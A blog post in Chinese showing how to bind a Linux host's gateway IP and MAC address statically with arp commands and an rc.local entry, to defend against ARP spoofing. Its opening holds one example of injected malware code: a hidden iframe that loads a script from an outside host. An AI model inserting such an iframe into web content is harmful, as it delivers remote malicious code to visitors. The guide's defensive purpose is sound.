Linux獨享主機繫結IP和MAC地址，防止ARP欺騙

一隻小螞蟻吆發表於2020-04-06
LinuxMac

 

一、ARP欺騙病毒，主要表現為：
中病毒的機器不僅影響自身，同時也會影響同網段的其它機器，將其它機器的HTTP資料包里加入病毒程式碼

。程式碼例子如：
<html><iframe src=http://xxx.eklajgl.com/lsj.js width=0 height=0></iframe>
這種病毒危害非常大！即使你機器的安全性做得很好，可是沒辦法保證同網段的其它機器安全沒有問題！
解決辦法：在閘道器和本機上雙向繫結IP和MAC地址，以防止ARP欺騙。

二、繫結
1、閘道器上已經對下面所帶的機器作了繫結。閘道器IP：192.168.0.1　MAC：00:02:03:18:08:00
2、要進行繫結的Unix主機IP：192.168.0.2　MAC：00:04:61:9D:8B:02

三、繫結步驟
1、先使用arp和arp -a檢視一下當前ARP快取列表
[root@ftp]# arp
Address                  HWtype  HWaddress           Flags Mask            Iface
192.168.0.145            ether   00:13:20:E9:11:04   C                     eth0
192.168.0.1              ether   00:02:03:18:08:00   C                     eth0

說明：
Address：主機的IP地址
Hwtype：主機的硬體型別
Hwaddress：主機的硬體地址
Flags Mask：記錄標誌，"C"表示arp快取記憶體中的條目，"M"表示靜態的arp條目。

[root@ftp]# arp -a
 (192.168.0.145) at 00:13:20:E9:11:04 [ether] on eth0
 (192.168.0.1) at 00:02:03:18:08:00 [ether] on eth0

2、新建一個靜態的mac-->ip對應表檔案：ip-mac，將要繫結的IP和MAC地下寫入此檔案，格式為 ip mac

。
[root@ftp]# echo '192.168.0.1 00:02:03:18:08:00 ' > /etc/ip-mac
[root@ftp]# more /etc/ip-mac
192.168.0.1 00:02:03:18:08:00

3、設定開機自動繫結
[root@ftp]# echo 'arp -f /etc/ip-mac ' >> /etc/rc.d/rc.local

4、手動執行一下繫結
[root@ftp]# arp -f /etc/ip-mac

5、確認繫結是否成功
[root@ftp]# arp
Address                  HWtype  HWaddress           Flags Mask            Iface
192.168.0.145            ether   00:13:20:E9:11:04   C                     eth0
192.168.0.1              ether   00:02:03:18:08:00   CM                    eth0

[root@ftp]# arp -a
 (192.168.0.145) at 00:02:B3:A7:85:48 [ether] on eth0
 (192.168.0.1) at 00:02:03:18:08:00 [ether] PERM on eth0

從繫結前後的ARP快取列表中，可以看到閘道器（192.168.0.1）的記錄標誌已經改變，說明繫結成功。

相關文章